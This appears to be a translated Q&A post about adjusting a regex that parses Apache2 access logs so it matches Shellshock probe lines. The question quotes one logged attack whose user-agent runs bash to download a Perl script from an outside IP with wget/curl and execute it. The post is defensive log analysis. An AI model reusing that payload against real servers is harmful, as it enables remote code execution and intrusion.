繁体   English   中英

正则表达式解析apache2日志,处理SHELLSHOCK bash hack

[英]Regexp to parse apache2 log, handle SHELLSHOCK bash hack

我想解析Apache2日志文件,并使用以下regexp在这里找到了一个不错的regexp:

/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/

问题在于此regexp早于shellshock hack机器人,并且该字符串与用户代理字符串(如以下发送的字符串)不匹配:

糟糕的bash攻击示例:

199.217.117.211 - - [18/Jan/2015:04:51:19 -0500] "GET /cgi-bin/help.cgi HTTP/1.0" 404 498 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://185.28.190.69/mc;curl -O http://185.28.190.69/mc;perl mc;perl /tmp/mc\""

这是一条常规的日志行:

157.55.39.0 - - [18/Jan/2015:09:32:37 -0500] "GET / HTTP/1.1" 200 37966 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"

有人可以提供更新的regexp来处理被黑的用户代理字符串,或者建议另选两步php-regexp以更好地证明被黑? 我可以看到与处理\\“有关的特定问题,并且看来最后一个regep可以替换为”(。*)“ $,但是我想请专家提出意见...谢谢。

更改两个实例

"([^"]*)"

"((?:[^"]|\\")*)"

这将允许在加引号的字符串中使用\\

顺便说一句,这是没有必要在一个正则表达式反斜杠转义引号,也不是必要的反斜杠转义]字符类时是班上第一个字符。 因此,您可以删除一些多余的反斜杠。 就我个人而言,我将使用相同的引用排除语法而不是非贪婪匹配。

最后,如注释所示,在请求不完整的情况下,请求的解析将失败。 如果唯一不完整的请求行是缺少指示符( "-" ),则可以通过将大多数请求设为可选,将-保留为“方法”来识别这些请求。

因此,我建议以下几点:

/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^]]+)\] "(\S+)(?: ((?:[^"]|\\")*) (\S+))?" (\S+) (\S+) "((?:[^"]|\\")*)" "((?:[^"]|\\")*)"$/

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM